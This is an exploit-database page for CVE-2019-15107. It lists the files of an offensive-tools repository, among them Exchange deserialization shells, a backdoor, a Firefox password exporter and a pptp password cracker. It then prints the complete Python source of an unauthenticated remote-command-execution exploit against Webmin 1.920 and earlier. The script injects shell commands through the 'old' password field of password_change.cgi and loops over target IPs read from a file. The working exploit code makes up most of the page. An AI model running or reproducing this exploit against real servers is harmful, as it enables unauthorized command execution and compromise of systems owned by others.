Exploit databaseDownload repository ZIP
GH-e0feb64830a3622846de187c20e69127
3gstudent/homework-of-python
Sources for CVE-2019-15107
37 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files58
3gstudent/homework-of-pythonRevision d436661fbcb3
- BIG-IP_RunBash.py
- ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py
- ExchangeDeserializeShell-NoAuth-TextFormattingRunProperties.py
- ExchangeDeserializeShell-NoAuth-ghostfile.py
- Exchange_EWS_XML_Parser.py
- Exchange_GetInternalIP.py
- Exchange_GetVersion_MatchVul.py
- Exchange_GetVersion_ParseFromFile.py
- Exchange_GetVersion_ParseFromWebsite.py
- ExportFirefoxPassword.py
- Fortigate_GetVersion.py
- MailEnableManage.py
- MinIO_GetVersion.py
- README.md
- SMBv3_RCE_Scanner(CVE-2020-0796).py
- SharpExchangeBackdoor.py
- SolarWindsOrionAPI_Manage.py
- SolarWindsOrion_Manage.py
- SophosUTM_ConfigParser.py
- SophosUTM_plxDecrypter.py
- WebLogic_GetVersion.py
- Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107).py
- Zimbra_GetVersion.py
- Zimbra_SOAP_API_Manage.py
- Zimbra_deserialization_RCE(CVE-2019-6980).py
- aspxCmdNTLM.py
- blind_XXEPlatform_CVE-2019-9670.py
- checkAutodiscover.py
- checkAutodiscoverEX.py
- checkEWS.py
- checkOWA.py
- eacManage.py
- easCheck.py
- ewsManage.py
- ewsManage_Downloader.py
- ewsManage_exchangelib_Downloader.py
- ewsManage_requests_ntlm_Downloader.py.py
- ewsManage_requests_ntlm_Session_Downloader.py
- file_deduplication(For_urltoip).py
- file_deduplication.py
- fofa_api.py
- fofa_api_VIP.py
- get_Exchange_version.py
- imapManage.py
- owaManage.py
- phpStudy_5.2-5.45_(php_xmlrpc.dll)_backdoor_RCE.py
- portscan.py
- pptp_password_hack.py
- sshCheck.py
- sshRunCmd.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107).py
Suggested starting filePython · 3,248 bytesimport requests
import warnings
warnings.filterwarnings("ignore")
def test_post_https(ip,command):
try:
url = 'https://' + ip + ':10000/password_change.cgi'
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'https://' + ip + ':10000/session_login.cgi',
'Cookie': 'redirect=1; testing=1; sid=x',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '47'
}
payload = 'user=a&pam=&expired=2&old=test|' + command + '&new1=test1&new2=test1'
r = requests.post(url, data=payload, headers = headers, verify = False)
if r.status_code ==200 and 'Failed to change password : The current password is incorrect' in r.text :
print '[+]Vulnerable:%s'%ip
nPos1 = r.text.index('Failed to change password : The current password is incorrect')
nPos2 = r.text.index('</h3></center>')
print 'Result:'
print r.text[nPos1+61:nPos2]
else:
print '[!]NotVulnerable:%s'%ip
print r.text
except Exception as e:
print '[!]Error:%s'%e
def test_post_http(ip,command):
try:
url = 'http://' + ip + ':10000/password_change.cgi'
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://' + ip + ':10000/session_login.cgi',
'Cookie': 'redirect=1; testing=1; sid=x',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '47'
}
payload = 'user=a&pam=&expired=2&old=test|' + command + '&new1=test1&new2=test1'
r = requests.post(url, data=payload, headers = headers)
if r.status_code ==200 and 'Failed to change password : The current password is incorrect' in r.text :
print '[+]Vulnerable:%s'%ip
nPos1 = r.text.index('Failed to change password : The current password is incorrect')
nPos2 = r.text.index('</h3></center>')
print 'Result:'
print r.text[nPos1+61:nPos2]
elif r.status_code ==200 and 'This web server is running in SSL mode.' in r.text :
print '[*]This web server is running in SSL mode.Try to use https'
test_post_https(ip,command)
else:
print '[!]NotVulnerable:%s'%ip
print r.text
except Exception as e:
print '[!]Error:%s'%e
if __name__ == '__main__':
file_object = open('ip.txt', 'r')
for line in file_object:
test_post_http(line.strip('\r\n'),'id')